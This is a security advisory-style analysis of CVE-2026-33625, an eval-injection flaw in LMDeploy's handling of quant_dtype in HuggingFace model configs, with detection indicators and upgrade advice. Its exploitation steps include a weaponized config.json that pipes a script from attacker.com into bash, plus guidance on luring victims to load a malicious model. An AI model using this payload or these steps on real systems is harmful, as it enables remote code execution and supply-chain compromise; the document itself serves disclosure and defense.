CVE-2026-33625: 
Python vulnerability analysis and mitigation

CVE-2026-33625 is a code injection (eval injection) vulnerability in InternLM's LMDeploy toolkit that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted quantization_config.quant_dtype value. When a user loads such a model, the quant_dtype field is passed unsanitized to eval(f'torch.{quant_dtype}') in lmdeploy/pytorch/config.py at line 620. Affected versions are 0.12.1 through 0.12.2 (inclusive); version 0.12.3 contains the patch. The vulnerability was published to the GitHub Advisory Database on September 18, 2026, and carries a CVSS v3.1 base score of 8.8 (High) (Github Advisory, InternLM Advisory).

The root cause is CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code / Eval Injection): the quant_dtype value sourced from a HuggingFace model's quantization_config JSON is interpolated directly into a Python eval() call without any validation or sanitization (InternLM Advisory). The vulnerable code path is triggered when a model specifies quant_method: awq; the AWQ processing branch does not override quant_dtype, so a malicious value flows through to line 620: quant_dtype = eval(f'torch.{quant_dtype}'). Notably, the existing whitelist check in _update_torch_dtype (line 53) applies only to torch_dtype, not quant_dtype, leaving the latter entirely unprotected. An attacker can inject arbitrary Python expressions such as float16, __import__('os').system('id') to achieve OS command execution upon model load (Github Advisory).

Successful exploitation grants the attacker full arbitrary code execution with the privileges of the lmdeploy process — which in many deployment scenarios runs as root or a highly privileged service account. This enables reading sensitive files, executing OS commands, modifying system state, and potentially pivoting to other systems in the environment. The attack affects all deployment scenarios including local inference, cloud-hosted serving, and production pipelines, making it a significant supply-chain risk for any organization loading LLMs via lmdeploy (InternLM Advisory, Github Advisory).

A proof-of-concept is included in the official security advisory and demonstrates successful RCE (output: uid=0(root) gid=0(root) groups=0(root)) by simulating a malicious HuggingFace model config (InternLM Advisory). There is currently no evidence of in-the-wild exploitation or threat actor attribution (Github Advisory). The EPSS score is 0.0 at time of publication, and the vulnerability is not listed in the CISA KEV catalog. Exploitation requires user interaction in the form of a victim loading the malicious model, but no privileges are required from the attacker side, lowering the barrier for supply-chain abuse.

1. Craft a malicious model config: Create a HuggingFace model repository containing a config.json with a weaponized quantization_config:

{
  "quantization_config": {
    "quant_method": "awq",
    "quant_dtype": "float16, __import__('os').system('curl http://attacker.com/shell.sh | bash')"
  }
}

2. Publish the model: Upload the malicious model to HuggingFace Hub (or host it on any accessible model repository/path), making it appear legitimate (e.g., mimicking a popular quantized LLM).
3. Induce the victim to load the model: Distribute the model link via social engineering, dependency confusion, or by impersonating a trusted model. The victim runs a command such as lmdeploy serve <malicious-model-id> or loads it programmatically.
4. Trigger the eval: When lmdeploy processes the model config, ModelConfig.from_hf_config() reads quant_dtype from quantization_config and executes eval(f'torch.{quant_dtype}') at line 620 of lmdeploy/pytorch/config.py, evaluating the injected Python expression.
5. Achieve code execution: The injected payload executes with the privileges of the lmdeploy process, enabling reverse shell establishment, data exfiltration, or further lateral movement (InternLM Advisory).

• Process: Unexpected child processes spawned by the Python/lmdeploy process (e.g., sh, bash, curl, wget, python) immediately after model loading.
• Network: Outbound connections from the lmdeploy host to unknown external IPs or domains shortly after a model load event; DNS queries for attacker-controlled infrastructure.
• Logs: Python tracebacks or unusual output in lmdeploy logs during model config parsing; OS command output (e.g., uid=...) appearing in application stdout/stderr.
• File System: Unexpected new files (scripts, binaries, web shells) written to the filesystem by the lmdeploy process; new cron jobs or systemd units created under the service account.
• Model Config: Presence of a quantization_config in a loaded model's config.json where quant_dtype contains characters beyond simple dtype names (e.g., parentheses, underscores, import statements, semicolons) (InternLM Advisory).

Upgrade lmdeploy to version 0.12.3, which contains the security fix (PR #4447: "fix security issues") (LMDeploy v0.12.3). Until patching is complete, restrict model loading to trusted, verified sources only and manually inspect quantization_config.quant_dtype in model config.json files before loading. As a defense-in-depth measure, run lmdeploy processes under a least-privilege account and in an isolated environment (e.g., container with no network egress) to limit the blast radius of exploitation (Github Advisory).